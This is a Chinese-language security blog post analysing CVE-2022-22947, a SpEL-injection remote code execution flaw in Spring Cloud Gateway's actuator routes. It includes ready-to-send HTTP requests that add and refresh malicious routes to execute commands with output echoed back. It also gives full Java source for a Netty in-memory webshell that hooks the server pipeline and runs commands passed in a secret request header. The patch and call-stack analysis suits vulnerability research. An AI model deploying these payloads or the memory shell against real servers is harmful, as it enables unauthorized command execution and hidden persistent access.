Spring Cloud Gateway RCE+内存马

admin 2022年3月30日20:07:51评论172 views字数 8964阅读29分52秒阅读模式

漏洞环境搭建

github地址https://github.com/spring-cloud/spring-cloud-gateway漏洞影响版本Spring Cloud Gateway < 3.1.1Spring Cloud Gateway < 3.0.7Spring Cloud Gateway 其他已不再更新的版本本地采用3.1.0复现漏洞poc(1)添加路由POST /actuator/gateway/routes/test HTTP/1.1Host: 127.0.0.1:9000Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 230
{ "id": "test", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new java.lang.ProcessBuilder("calc").start()}" } }], "uri": "https://www.baidu.com"}(2)刷新路由POST /actuator/gateway/refresh HTTP/1.1Host: 127.0.0.1:9000Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 228

Spring Cloud Gateway RCE+内存马

漏洞分析

https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/ https://mp.weixin.qq.com/s/lKKOUvWqU1Qpexus5u_3Uw 

根据巨人们的肩膀,漏洞触发为spel表达式注入。

看官方补丁 

https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

通过下图的补丁对比,能发现以前是利用StandardEvaluationContext,而现在换成了GatewayEvaluationContext。我们先来分析一下利用

Spring Cloud Gateway RCE+内存马

通过回溯方法调用,发现在ShortcutType这个枚举中进行了调用,分别在DEFAULT,GATHER_LIST,GATHER_LIST_TAIL_FLAG这三个枚举值中被调用。

Spring Cloud Gateway RCE+内存马

Spring Cloud Gateway RCE+内存马

这里有四出引用,正常情况下我们需要跟踪引用到可控的参数点,这里直接借助参考文章去看。引用路线为ShortcutConfigurable.shortcutType调用DEFAULT枚举,而ConfigurationService#normalizeProperties调用shortcutType()

Spring Cloud Gateway RCE+内存马

normalizeProperties主要是解析配置文件,上线根据方法跟踪调用链,发现确实是添加了filter,解析配置导致的spel表达式解析。

Spring Cloud Gateway RCE+内存马

调试分析

AbstractGatewayControllerEndpoint下断点RouteDefinition 路由的相关信息id 名称

Spring Cloud Gateway RCE+内存马

调用validateRouteDefinition,能看出来这里的限制条件1,需要添加的filter已知,所以我们遍历一下存在的filter就行。

Spring Cloud Gateway RCE+内存马

动态调试获取存在的GatewayFiltersfor (int i = 0; i < this.GatewayFilters.toArray().length; i++) {    System.out.println(this.GatewayFilters.toArray()[i].name());}AddRequestHeaderMapRequestHeaderAddRequestParameterAddResponseHeaderModifyRequestBodyDedupeResponseHeaderModifyResponseBodyCacheRequestBodyPrefixPathPreserveHostHeaderRedirectToRemoveRequestHeaderRemoveRequestParameterRemoveResponseHeaderRewritePathRetrySetPathSecureHeadersSetRequestHeaderSetRequestHostHeaderSetResponseHeaderRewriteResponseHeaderRewriteLocationResponseHeaderSetStatusSaveSessionStripPrefixRequestHeaderToRequestUriRequestSizeRequestHeaderSize

Spring Cloud Gateway RCE+内存马

Spring Cloud Gateway RCE+内存马

那么如何来构造一个filter呢,这里我们构造的AddResponseHeader,所以我们全局搜索一下,最终在这里发现了需要传入name和value,再配合我们前面的限制条件,我们构造出如下poc,其中RouteDefinition需要id,filter(已存在,根据我们选择的filter自行修改参数),uri


{ "id": "test", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new java.lang.ProcessBuilder("calc").start()}" } }], "uri": "https://www.baidu.com"}

Spring Cloud Gateway RCE+内存马

接下来继续看看触发点,下断点在ShortcutConfigurable#tValue

Spring Cloud Gateway RCE+内存马

触发点在于Expression.getValue(),我们来看看调用栈,主要是关注spring相关的

,这里我稍微整合整合一下

getValue:60, ShortcutConfigurable (org.springframework.cloud.gateway.support)normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)apply:-1, RouteDefinitionRouteLocator$$Lambda$1019/0x0000000801183c30 (org.springframework.cloud.gateway.route)onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event)invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event)multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event)publishEvent:421, AbstractApplicationContext (org.springframework.context.support)publishEvent:378, AbstractApplicationContext (org.springframework.context.support)refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)lambda$invoke$0:144, InvocableHandlerMethod (org.springframework.web.reactive.result.method)apply:-1, InvocableHandlerMethod$$Lambda$1138/0x0000000801202148 (org.springframework.web.reactive.result.method)
此时我们再来分析到底这个payload如何进行传递的

Spring Cloud Gateway RCE+内存马

入口点位于AbstractGatewayControllerEndpoint#refresh,我们通过查看变量,发现我们添加的filters是对应保存在AbstractGatewayControllerEndpoint的routeDefinitionWriter中,他是一个接口,最终保存在实现类InMemoryRouteDefinitionRepository中。

Spring Cloud Gateway RCE+内存马

Spring Cloud Gateway RCE+内存马

通过一系列的spring事件处理,来到了RouteDefinitionRouteLocator#convertToRoute,调用getFilters

Spring Cloud Gateway RCE+内存马

由于我们添加了filter,所以routeDefinition不为null,然后调用addAll()添加routeDefinition,内部调用loadGatewayFilters,从这里也能看出来,必须要存在的filterDefinitions才能触发,否则会爆不存在的错误。

Spring Cloud Gateway RCE+内存马

后续调用properties(),bind()完成触发,前面已经分析过了不再重复分析。

命令回显

对于回显的问题,最简单的就是拿到response。所以我们需要分析,在触发的过程中,哪些请求会携带response。这里借助P牛VULHUB的环境来测试(github直接下的windows下未知原因我测试失败了)

流程为创建路由-》刷新配置-》访问路由,这里就给创建路由的payload,自己搭环境

根据需要修改执行的命令

POST /actuator/gateway/refresh HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329
{ "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}" } }], "uri": "http://example.com"}

Spring Cloud Gateway RCE+内存马

当我们访问的时候,能发现会调用apply方法,此方法里存在getResponse,会将配置自动写入。

Spring Cloud Gateway RCE+内存马

我们访问路由的时候,会调用serialize,将信息写入到map中,最后返回到body内。

Spring Cloud Gateway RCE+内存马

基于这个,我们找一个RedirectTo来进行构造,发现利用失败了,看看代码,发现需要状态码为3xx,URL存在一个create,如果格式错误则会抛出异常。所以也可以选择其他的,当然两步条件能选择两个去构造,这里就不继续了。

Spring Cloud Gateway RCE+内存马

内存马

内存马参考https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg原理分析了重新发,这里就只记录一下步骤就行了。
1)netty classbase64 全包类名2)创建路由3)刷新路由 执行命令

Spring Cloud Gateway RCE+内存马

Spring Cloud Gateway RCE+内存马

转base64代码byte[] readAllBytes = Files.readAllBytes(new File("C:\Users\yzc\Downloads\spring-cloud-gateway-3.1.0\spring-cloud-gateway-server\target\classes\tes.class").toPath());String imgStr = Base64Utils.encodeToString(readAllBytes);System.out.println(imgStr);
内存马代码,来源参考链接public  class tes extends io.netty.channel.ChannelDuplexHandler implements reactor.netty.ChannelPipelineConfigurer {  public static String doInject(){    String msg = "inject-start";    try {      java.lang.reflect.Method getThreads = Thread.class.getDeclaredMethod("getThreads");      getThreads.setAccessible(true);      Object threads = getThreads.invoke(null);
for (int i = 0; i < java.lang.reflect.Array.getLength(threads); i++) { Object thread = java.lang.reflect.Array.get(threads, i); if (thread != null && thread.getClass().getName().contains("NettyWebServer")) { java.lang.reflect.Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer"); _val$disposableServer.setAccessible(true); Object val$disposableServer = _val$disposableServer.get(thread); java.lang.reflect.Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config"); _config.setAccessible(true); Object config = _config.get(val$disposableServer); java.lang.reflect.Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit"); _doOnChannelInit.setAccessible(true); _doOnChannelInit.set(config, new tes()); msg = "inject-success"; } } }catch (Exception e){ msg = "inject-error"; } return msg; }
@Override public void onChannelInit(reactor.netty.ConnectionObserver connectionObserver, io.netty.channel.Channel channel, java.net.SocketAddress socketAddress) { io.netty.channel.ChannelPipeline pipeline = channel.pipeline(); pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new tes()); }

@Override public void channelRead(io.netty.channel.ChannelHandlerContext ctx, Object msg) throws Exception { if(msg instanceof io.netty.handler.codec.http.HttpRequest){ io.netty.handler.codec.http.HttpRequest httpRequest = (io.netty.handler.codec.http.HttpRequest)msg; try { if(httpRequest.headers().contains("e0mlja")) { if(httpRequest.headers().get("e0mlja").equals("e0mlja")) { String cmd = httpRequest.headers().get("e0m"); String execResult = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\A").next(); send(ctx, execResult, io.netty.handler.codec.http.HttpResponseStatus.OK); return; } } }catch (Exception e){ e.printStackTrace(); } } ctx.fireChannelRead(msg); }

private void send(io.netty.channel.ChannelHandlerContext ctx, String context, io.netty.handler.codec.http.HttpResponseStatus status) { io.netty.handler.codec.http.FullHttpResponse response = new io.netty.handler.codec.http.DefaultFullHttpResponse(io.netty.handler.codec.http.HttpVersion.HTTP_1_1, status, io.netty.buffer.Unpooled.copiedBuffer(context, io.netty.util.CharsetUtil.UTF_8)); response.headers().set(io.grpc.netty.shaded.io.netty.handler.codec.http.HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8"); ctx.writeAndFlush(response).addListener(io.netty.channel.ChannelFutureListener.CLOSE); }
public static void main(String[] args) {
}
}



还有一部分没有分析,比如除了filter还有predicates没有分析。

原文始发于微信公众号(e0m安全屋):Spring Cloud Gateway RCE+内存马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月30日20:07:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Cloud Gateway RCE+内存马https://cn-sec.com/archives/854126.html

发表评论

匿名网友 填写信息